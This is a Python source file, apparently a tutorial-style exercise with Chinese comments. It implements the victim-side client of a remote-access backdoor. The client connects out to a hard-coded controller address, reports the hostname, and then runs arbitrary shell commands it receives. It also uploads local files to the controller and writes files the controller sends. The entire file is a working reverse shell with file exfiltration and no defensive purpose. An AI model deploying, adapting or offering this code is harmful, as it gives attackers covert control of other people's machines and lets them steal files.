import os
import struct
import subprocess
from socket import *


# 命令执行函数
def Execommand(clientSocket):
    while True:
        try:
            command = clientSocket.recv(1024).decode()
            # 将接收的命令进行分割
            command_list = command.split()
            # 接收到exit时退出命令执行功能
            if command_list[0] == 'exit':
                break
            # 执行cd时不能直接通过subprocess进行目录切换
            # 否则会出现[Erron 2] No such file or directory错误
            # 要通过os.chdir来切换目录
            elif command_list[0] == 'cd':
                os.chdir(command_list[1])
                # 切换完毕后，将当前被控端的工作路径发给主控端
                clientSocket.sendall(os.getcwd().encode())
            else:
                clientSocket.sendall(subprocess.check_output(command, shell=True))

        # 出现异常时进行捕获，并通知主控端
        except Exception as massage:
            clientSocket.sendall("Filed to execute, please check your command !!!".encode())
            print("massage: ", massage)
            pass
        # 报错跳出循环时，通过continue重新进入循环
        continue


def Upload_File(clientSocket, uploadFilePath):
    while True:
        if os.path.isfile(uploadFilePath):
            # 先传入文件信息，用来防止粘包
            # 定义文件信息，128s表示文件名长度为128字节，l表示用int类型表示文件大小
            # 把文件名和文件大小信息进行封装，发送给接受端
            file_Info = struct.pack('128sl', bytes(
                os.path.basename(uploadFilePath).encode('utf-8')), os.stat(uploadFilePath).st_size)
            clientSocket.sendall(file_Info)
            print('[+]FileInfo send success! name{0} size:{1}'.format(os.path.basename(uploadFilePath),
                                                                      os.stat(uploadFilePath).st_size))

            # 开始传输文件的内容
            with open(uploadFilePath, 'rb') as f:
                while True:
                    # 分块多次读，防止文件过大时一次性读完导致内存不足
                    data = f.read(1024)
                    if not data:
                        print("[+]File Upload Over!!!")
                        break
                    clientSocket.sendall(data)
            break


# 文件下载函数
def Download_File(clientSocket):
    while True:
        # 先接受文件的信息，进行解析
        # 长度自定义，先接受文件信息的主要原因是防止粘包
        # 接收长度为128sl
        fileInfo = clientSocket.recv(struct.calcsize('128sl'))
        if fileInfo:
            # 按照同样的格式(128sl)拆包
            fileName, fileSize = struct.unpack('128sl', fileInfo)
            # 要把文件名后面的多余空格去除
            fileName = fileName.decode().strip('\00')
            # 定义上传文件的存放路径, ./表示当前目录
            newFileName = os.path.join('./', fileName)
            print('[+]FileInfo Receive over! name{0} size{1}'.format(fileName, fileSize))

            # 接下来开始接受文件的内容
            # 表示已经接收到的文件内容的大小
            recvdSize = 0
            print('[+] start receiving...')
            with open(newFileName, 'wb') as f:
                # 分次分块写入
                while recvdSize != fileSize:
                    if fileSize - recvdSize > 1024:
                        data = clientSocket.recv(1024)
                        f.write(data)
                        recvdSize += len(data)
                    else:
                        # 剩下的内容不足1024时，则把剩余的内容全部都接收写入
                        data = clientSocket.recv(fileSize - recvdSize)
                        f.write(data)
                        recvdSize = fileSize
                        break
            print("[+]File Receive over!!!")
        break


def TransferFiles(clientSocket):
    while True:
        command = clientSocket.recv(1024).decode()
        # 进行命令、参数的分割
        commList = command.split()
        print(commList)
        if commList[0] == 'exit':
            break
        # 若方法为download,则表示主控端需要获取被控端的文件
        if commList[0] == 'download':
            Upload_File(clientSocket, commList[1])
        if commList[0] == 'upload':
            Download_File(clientSocket)


if __name__ == '__main__':
    # AF_INET 表示该socket网络层使用IP协议
    # SOCK_STREAM 表示该socket传输层tcp协议
    clientSocket = socket(AF_INET, SOCK_STREAM)
    clientSocket.connect(('192.168.111.1', 8888))
    # 发送被控端的主机名
    hostName = subprocess.check_output("hostname")
    clientSocket.sendall(hostName)

    # 等待主控指令
    print("[*] Waiting instrunction...")
    while True:
        # 接收主控端的指令， 并进入相应的模块
        # 接收到的内容为字节型，需要将decode转换为字符串
        instruction = clientSocket.recv(10).decode()
        if instruction == '1':
            Execommand(clientSocket)
        elif instruction == '2':
            TransferFiles(clientSocket)
        elif instruction == 'exit':
            break
        else:
            pass

    clientSocket.close()
